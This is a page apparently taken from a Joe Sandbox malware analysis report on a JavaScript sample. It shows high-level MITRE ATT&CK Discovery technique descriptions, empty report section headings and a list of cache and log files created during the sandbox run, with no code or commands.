Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 26804379891331232.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\80a95555-d774-4737-9bf6-0083f58f52a8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2896

Windows Analysis Report
26804379891331232.js